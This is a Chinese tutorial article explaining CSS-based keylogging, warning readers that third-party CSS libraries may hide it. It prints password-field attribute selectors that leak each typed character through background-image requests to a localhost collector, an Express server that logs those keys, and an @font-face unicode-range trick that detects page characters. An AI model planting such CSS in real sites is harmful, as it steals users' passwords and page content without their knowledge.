CSS 记录用户密码的方法CSS Transition通过改变Height实现展开收起元素从QQtabBar看css命名规范BEM的详细介绍css实现两栏布局，左侧固定宽，右侧自适应的多种方法CSS 实现Chrome标签栏的技巧CSS实现两列布局的N种方法CSS实现隐藏搜索框功能(动画正反向序列)CSS3中Animation实现简单的手指点击动画的示例详解CSS中的特指度和层叠问题详解overflow:hidden的作用(溢出隐藏、清除浮动、解决外边距塌陷)关于CSS浮动与取消浮动的问题

简单的CSS代码，甚至不符合图灵完备的语言，但是也能成为一些攻击者的工具，下面简单介绍一下如何使用CSS去记录用户的密码。但是这些CSS脚本会出现在第三方CSS库中，所以使用第三方CSS库也需要谨慎，确保代码安全。直接上代码解析：

 input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); } input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); } input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }

以上是部分代码,我们来解析一下CSS代码

input[type="password"]是css选择器，作用是选择密码输入框， [value$="0"]表示匹配输入的值是以0结尾的。所以：

 input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }

上面代码的意思就是如果你在密码框中输入0，就去请求http://localhost:3000/0接口，但是浏览器默认情况下是不会将用户输入的值存储在value属性中，但是有的框架会同步这些值，例如React。

所以只要使用了如下图的脚本就能去存储用户的输入数据信息。

我们再来看一下服务器端的代码：

 const express = require("express"); const app = express(); app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400); }); app.listen(3000, () => console.log("启动，监听3000端口")); 

使用express创建服务器，监听3000端口，只要请求http://localhost:3000/:key，就能输出key的值，就能在服务器上记录输入的值。所以只要在每输入一个值都匹配，然后通过 background-image 去请求一个已经准备好的接口，就能记录用户的输入。类似的方法记录用户的内容的CSS代码@font-face {  

 font-family: blah; src: url('http://localhost:3000/a') format('woff'); unicode-range: U+85; } html { font-family: blah, sans-serif; }

你使用的的css的简单的字体库，只要你的页面中包含a，就会去请求http://localhost:3000/a，这样就能知道你的页面中包含有a字符。

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持。

提示： 本文由神整理自网络，如有侵权请联系本站删除！
本站声明：
1、本站所有资源均来源于互联网，不保证100%完整、不提供任何技术支持；
2、本站所发布的文章以及附件仅限用于学习和研究目的;不得将用于商业或者非法用途；否则由此产生的法律后果，本站概不负责！